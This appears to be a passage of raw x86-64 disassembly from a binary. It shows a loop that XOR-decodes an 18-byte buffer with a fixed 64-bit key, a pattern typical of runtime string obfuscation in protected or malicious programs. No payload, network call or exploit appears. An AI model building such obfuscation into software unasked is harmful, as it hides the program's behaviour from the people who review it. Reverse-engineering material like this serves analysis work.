paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [r9 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r8
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [r10 + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, 0x10
jb 0x14006daa3
cmp rax, 0x12
jae 0x14006dbbc
movabs r9, 0xffad13d9fdab3999
nop dword [rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 0x12
jb 0x14006dba0
mov byte [r8 + 0x12], 0
ret